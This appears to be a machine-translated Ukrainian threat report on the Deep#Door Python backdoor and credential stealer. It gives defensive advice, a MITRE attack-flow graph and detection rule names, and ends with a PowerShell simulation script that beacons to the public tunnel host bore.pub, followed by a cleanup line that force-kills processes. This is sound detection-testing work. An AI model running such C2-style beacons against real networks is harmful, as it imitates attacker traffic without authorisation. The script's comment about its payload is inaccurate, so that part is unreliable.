Deep#Door Stealer: Тихий Python бекдор та крадій облікових даних із використанням тунелювання, багаторівневої стійкості та можливостей моніторингу в пам’яті
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт досліджує Deep#Door, приховану бекдор-програму на основі Python, яка доставляється через обфускований завантажувач у вигляді пакетного файлу, що впроваджує та реконструює свій шкідливий завантажувач під час виконання. Шкідливе програмне забезпечення використовує публічну службу тунелювання TCP для командного управління, встановлює кілька механізмів збереження, послаблює контролі безпеки Windows та підтримує широке спостереження та активність крадіжки облікових даних. Воно також здійснює детальні перевірки середовища на предмет уникнення аналізаторів та пісочниць, покладаючись на патчинг API в пам’яті для приховування під час виконання.
Дослідження
Дослідники з Securonix побудували повний ланцюжок зараження від початкового пакетного скрипта до вилучення, реконструкції та виконання остаточного RAT на Python. Їх аналіз виявив зловживання bore.pub для тунелювання, динамічно згенеровані порти і спеціальну послідовність аутентифікації, яка використовується для доступу оператора. Звіт також детально охарактеризував методи обходу захисту, техніки збереження, процедури виявлення системи та поведінку ексфільтрації даних шкідливого ПЗ.
Західні заходи
Захисникам слід уважно стежити за виконанням скриптів, включити журналювання PowerShell, виявляти несанкціоновані зміни в налаштуваннях Microsoft Defender та брандмауера, а також перевіряти записи автозавантаження, ключі Run та інші місця збереження. Моніторинг мережі також повинен бути зосереджений на вихідних з’єднаннях до bore.pub та незвичайну активність високих портів. Інструменти EDR, здатні виявити патчинг API та маніпуляції в пам’яті, можуть ще більше поліпшити видимість загрози.
Відповідь
Якщо виявлена активність Deep#Door, негайно ізолюйте постраждалий кінцевий пункт, зупиніть шкідливий процес Python, видаліть усі механізми збереження, включаючи стартові скрипти, ключі Run та підписки на WMI, та відновіть змінені налаштування Defender та журналування. Команди безпеки повинні також провести аналіз пам’яті та судову експертизу для ідентифікації прихованих програм і оцінки загрози крадіжки облікових даних, одночасно блокуючи мережеві комунікації до bore.pub.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes Definitions action_user_execution["<b>Дія</b> – <b>T1204 Виконання користувача</b>: Жертва запускає шкідливий пакетний файл install_obf.bat"] class action_user_execution action tool_batch_file["<b>Інструмент</b> – <b>Ім’я</b>: install_obf.bat<br/><b>Опис</b>: Пакетний скрипт, що запускає завантажувач"] class tool_batch_file tool action_obfuscation["<b>Дія</b> – <b>T1027 Обфусковані файли або інформація</b>: Витягує base64/XOR закодований Python-завантажувач (svc.py) за допомогою самопосилаючої PowerShell regex"] class action_obfuscation action tool_powershell["<b>Інструмент</b> – <b>Ім’я</b>: PowerShell<br/><b>Опис</b>: Використовується для розбору пакетного файлу та декодування вбудованого завантажувача"] class tool_powershell tool tool_python["<b>Інструмент</b> – <b>Ім’я</b>: Python<br/><b>Опис</b>: Виконує декодований завантажувач svc.py"] class tool_python tool action_defense_evasion_disable["<b>Дія</b> – <b>T1562.001 Вимкнення чи редагування інструментів</b> / <b>T1562.004 Вимкнення чи редагування системного брандмауера</b> / <b>T1562.008 Вимкнення чи редагування хмарних журналів</b>: Вимикає Windows Defender, журналювання PowerShell, SmartScreen та журналювання брандмауера"] class action_defense_evasion_disable action tool_setmp["<b>Інструмент</b> – <b>Ім’я</b>: Set-MpPreference<br/><b>Опис</b>: Poweshell команда для зміни налаштувань Defender"] class tool_setmp tool tool_netsh["<b>Інструмент</b> – <b>Ім’я</b>: netsh advfirewall<br/><b>Опис</b>: Змінює правила брандмауера Windows та журналювання"] class tool_netsh tool action_indicator_removal["<b>Дія</b> – <b>T1070.001 Очистка журналів подій Windows</b> та <b>T1070.006 Timestomp</b>: Зупиняє та очищає EventLog/Sysmon служби та змінює часові мітки файлів"] class action_indicator_removal action action_persistence_runkey["<b>Дія</b> – <b>T1547.001 Ключі реєстру автозавантаження/Папка автозавантаження</b> та <b>T1053 Заплановане завдання/робота</b>: Додає SystemServices.vbs в папку автозавантаження, створює ключ та заплановану задачу як резерв"] class action_persistence_runkey action tool_vbs_startup["<b>Інструмент</b> – <b>Ім’я</b>: SystemServices.vbs<br/><b>Опис</b>: VBS скрипт, розміщений у %APPDATA%MicrosoftWindowsStart MenuProgramsStartup"] class tool_vbs_startup tool action_credential_access["<b>Дія</b> – <b>T1003 Витяг облікових даних ОС</b>, <b>T1552.004 Приватні ключі</b>, <b>T1552.001 Облікові дані у файлах</b>, <b>T1555 Магазини паролів</b>, <b>T1555.005 Парольні менеджери</b>: Збирає паролі браузера, Менеджер облікових даних Windows, SSH ключі, хмарні токени"] class action_credential_access action action_collection["<b>Дія</b> – <b>T1056.001 Кейлогінг</b>, <b>T1113 Захоплення екрану</b>, <b>T1125 Захоплення відео</b>, <b>T1123 Захоплення аудіо</b>, <b>T1115 Дані буфера обміну</b>: Фіксація натискань клавіш, скріншотів, відео з веб-камери, аудіо з мікрофона та буфера обміну"] class action_collection action action_discovery["<b>Дія</b> – <b>T1082 Виявлення інформації системи</b>, <b>T1518 Виявлення програмного забезпечення</b>, <b>T1057 Виявлення процесів</b>, <b>T1046 Виявлення мережевих служб</b>, <b>T1018 Виявлення віддаленої системи</b>, <b>T1526 Виявлення хмарних служб</b>: Збір даних про ОС, апаратне забезпечення, програмне забезпечення, процеси, мережеві та хмарні конфігурації"] class action_discovery action action_defense_evasion_reflective["<b>Дія</b> – <b>T1620 Відбивальне завантаження коду</b> та <b>T1497.003 Уникнення віртуалізації/пісочниці: На основі часу</b>: Виявляє відладчики, віртуальні машини та характеристики пісочниць і перериває виконання"] class action_defense_evasion_reflective action action_c2_tunneling["<b>Дія</b> – <b>T1572 Тунелювання протоколу</b>: Встановлює зашифрований тунель через публічну службу bore.pub, виконує динамічне сканування портів та автентифікацію з викликом-відповіддю"] class action_c2_tunneling action action_exfiltration["<b>Дія</b> – <b>T1041 Ексфільтрація через канал C2</b> та <b>T1048.002 Ексфільтрація через альтернативний протокол: Асиметрично зашифрований незахищений C2</b>: Відправка зібраних даних через тунельний канал"] class action_exfiltration action action_impact_forkbomb["<b>Дія</b> – <b>T1499.002 Перевантаження сервісу</b>: Виконує форк-бомбу для споживання системних ресурсів"] class action_impact_forkbomb action %% Connections showing attack flow action_user_execution –>|виконує| tool_batch_file tool_batch_file –>|містить| action_obfuscation action_obfuscation –>|використовує| tool_powershell tool_powershell –>|декодує та запускає| tool_python tool_python –>|виконує| action_defense_evasion_disable action_defense_evasion_disable –>|використовує| tool_setmp action_defense_evasion_disable –>|використовує| tool_netsh action_defense_evasion_disable –>|веде до| action_indicator_removal action_indicator_removal –>|передує| action_persistence_runkey action_persistence_runkey –>|додає| tool_vbs_startup action_persistence_runkey –>|включає| action_credential_access action_credential_access –>|включає| action_collection action_collection –>|постачає дані в| action_discovery action_discovery –>|підтримує| action_defense_evasion_reflective action_defense_evasion_reflective –>|встановлює| action_c2_tunneling action_c2_tunneling –>|переносить| action_exfiltration action_exfiltration –>|тригерить| action_impact_forkbomb "
Поточний потік атаки
Детекції
Можливі точки збереження [ASEP – Програмне забезпечення/ NTUSER Hive] (через подію реєстру)
Переглянути
Підозрілі рядки PowerShell (через cmdline)
Переглянути
Виклик підозрілих .NET класів/методів з командного рядка PowerShell (через створення процесу)
Переглянути
Можливе відкриття віддаленої системи або перевірка зв’язку (через cmdline)
Переглянути
Можливе перерахування або маніпуляція облікового запису або групи (через cmdline)
Переглянути
Можливе використання тайм-ауту для затримки виконання (через cmdline)
Переглянути
LOLBAS WScript / CScript (через створення процесу)
Переглянути
Вимкнення моніторингу в реальному часі Windows Defender і інші зміни конфігурацій (через cmdline)
Переглянути
Підозрілі рядки PowerShell (через powershell)
Переглянути
Підозрілі зміни у налаштуваннях Windows Defender (через powershell)
Переглянути
Підозрілі двійкові файли/скрипти в автозапусковому просторі (через подію файлу)
Переглянути
IOCs (HashSha256) для виявлення: Deep#Door Stealer: прихований Python-бекдор і крадій облікових даних з використанням тунелювання, багатоетапного збереження і возможностей спостереження в пам’яті
Переглянути
Виявлення C2 комунікації через публічний TCP тунельний сервіс [Windows Network Connection]
Переглянути
Команда PowerShell для вилучення вбудованого завантажувача Python [Windows Powershell]
Переглянути
Виявлення розгортання прихованого Python бекдора Deep#Door [створення процесу Windows]
Переглянути
Виявлення використання сервісу TCP тунелювання Bore.pub для C2 комунікацій [Windows Network Connection]
Переглянути
Вимкнено моніторинг в реальному часі та поведінковий моніторинг Windows Defender [Windows Powershell]
Переглянути
Виконання обфускованого пакетного скрипта Deep#Door [створення процесу Windows]
Переглянути
Команда PowerShell, що вимикає функції Windows Defender [Windows Powershell]
Переглянути
Виявлення виконання прихованого Python бекдора Deep#Door [Windows Process Creation]
Переглянути
Виявлення прихованої C2 комунікації через bore.pub [Windows Network Connection]
Переглянути
Виявлення злодія Deep#Door з використанням PowerShell та підробки брандмауера [Windows Powershell]
Переглянути
Виконання симуляції
Передумова: Телеметрія та контрольний переліт-пройдіть перевірку.
Підстава: Цей розділ деталізує точну реалізацію техніки супротивника (TTP), розроблену для збудження правила детекції. Команди й оповідання МУСЯТЬ безпосередньо відображати виявлені TTP і спрямовуватися на генерацію точної телеметрії, очікуваної за логікою виявлення.
-
Оповідь та команди атаки:
Атакувальник, який отримав малопривілейований доступ на хост Windows, бажає встановити прихований C2-канал за допомогою загально-відомого
bore.pubтунельний сервіс використовується Deep#Door.System.Net.Sockets.TcpClientклас для відкриття необробленого TCP-з’єднання. З’єднання підтримується у стані бездіяльності протягом короткого періоду для наслідування сигналів “heartbeat” перед передачею невеликого маяка, закодованого в base-64. -
Сценарій тестування регресії:
# Симуляція маяка C2 Deep#Door на bore.pub на випадковому порту в межах моніторованого діапазону $domain = 'bore.pub' $port = Get-Random -Minimum 41234 -Maximum 41244 # Верхня межа не включений try { Write-Host "З'єднання з $domain:$port ..." $client = New-Object System.Net.Sockets.TcpClient $client.Connect($domain, $port) $stream = $client.GetStream() # Мінімальний вміст маяка (наприклад, base64-закодований "ping") $payload = [System.Text.Encoding]::ASCII.GetBytes('cGlja2V0') $stream.Write($payload,0,$payload.Length) Write-Host "Маяк надіслано. З'єднання утримується протягом 5 секунд..." Start-Sleep -Seconds 5 } catch { Write-Error "З'єднання не вдалося: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } Write-Host "З'єднання закрите." } -
Команди очищення:
# Немає постійних артефактів; переконайтеся, що немає залишків TCP-з'єднань Get-NetTCPConnection -RemotePort 41234-41243 -State Established | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } Write-Host "Очистка завершена."
Кінець звіту